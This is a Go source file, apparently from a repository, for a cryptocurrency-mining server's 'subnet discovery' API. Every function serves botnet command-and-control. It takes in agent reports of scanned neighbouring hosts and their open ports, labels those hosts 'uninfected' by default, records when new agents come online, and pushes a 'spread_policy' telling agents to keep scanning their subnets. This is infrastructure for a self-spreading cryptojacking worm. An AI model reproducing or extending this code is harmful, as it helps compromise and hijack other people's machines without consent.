Files
AetherForge/server/internal/api/subnet_discovery.go
AetherForge 1f63824199
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add server subnet discovery store, API, and agent policy push.
2026-06-07 12:13:51 -07:00

172 lines
4.4 KiB
Go

package api
import (
"encoding/json"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
const defaultSubnetReconIntervalMin = 30
type SubnetDiscoveryHandler struct {
db *dbpkg.Database
hub *WSHub
}
func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler {
return &SubnetDiscoveryHandler{db: database, hub: hub}
}
func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) {
if h == nil || h.db == nil {
writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}})
return
}
subnet := strings.TrimSpace(r.URL.Query().Get("subnet"))
status := strings.TrimSpace(r.URL.Query().Get("status"))
rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []dbpkg.SubnetDiscoveryRow{}
}
writeJSON(w, map[string]interface{}{"hosts": rows})
}
func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) {
if h == nil || h.db == nil || agentID == "" {
return
}
var body struct {
Hosts []dbpkg.SubnetDiscoveryRow `json:"hosts"`
SubnetPrefix string `json:"subnet_prefix"`
AgentID string `json:"agent_id"`
}
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 {
return
}
reporter := strings.TrimSpace(body.AgentID)
if reporter == "" {
reporter = agentID
}
defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix)
for _, host := range body.Hosts {
ip := strings.TrimSpace(host.IP)
if ip == "" {
continue
}
prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix)
if prefix == "" {
prefix = defaultPrefix
}
if prefix == "" {
prefix = subnetPrefix24(ip)
}
if host.Status == "" {
host.Status = dbpkg.SubnetDiscoveryUninfected
}
row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{
IP: ip,
OpenPorts: host.OpenPorts,
ReporterAgentID: strings.TrimSpace(host.ReporterAgentID),
SubnetPrefix: prefix,
HTTPTitle: host.HTTPTitle,
Status: host.Status,
})
if err != nil || row == nil {
continue
}
if row.ReporterAgentID == "" {
row.ReporterAgentID = reporter
}
h.BroadcastSubnetDiscoveryUpdate(*row)
}
}
func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) {
if h == nil || h.db == nil {
return
}
ip = strings.TrimSpace(ip)
if ip == "" {
return
}
row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip)
if err != nil || row == nil {
return
}
h.BroadcastSubnetDiscoveryUpdate(*row)
}
func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) {
if h == nil {
return
}
h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)})
}
func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string {
if h == nil || h.db == nil {
return nil
}
agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet)
if agentSubnet == "" {
return nil
}
agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256})
if err != nil {
return nil
}
seen := map[string]bool{}
var out []string
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(ag.IP)
if ip == "" || seen[ip] {
continue
}
seen[ip] = true
out = append(out, ip)
}
return out
}
func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) {
if h == nil {
return
}
policy := h.serverPolicySnapshot()
if !policy.SubnetReconEnabled {
return
}
interval := policy.SubnetReconIntervalMin
if interval <= 0 {
interval = defaultSubnetReconIntervalMin
}
resp["subnet_recon_enabled"] = true
resp["subnet_recon_interval_min"] = interval
if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 {
resp["subnet_fleet_ips"] = fleetIPs
}
if spreadPolicy == nil {
spreadPolicy = map[string]interface{}{}
}
spreadPolicy["subnet_recon_enabled"] = true
spreadPolicy["subnet_recon_interval_min"] = interval
resp["spread_policy"] = spreadPolicy
}
func normalizeSubnetDiscoveryQueryPrefix(prefix string) string {
prefix = strings.TrimSpace(prefix)
prefix = strings.TrimSuffix(prefix, ".0/24")
prefix = strings.TrimSuffix(prefix, "/24")
prefix = strings.TrimSuffix(prefix, ".x")
return prefix
}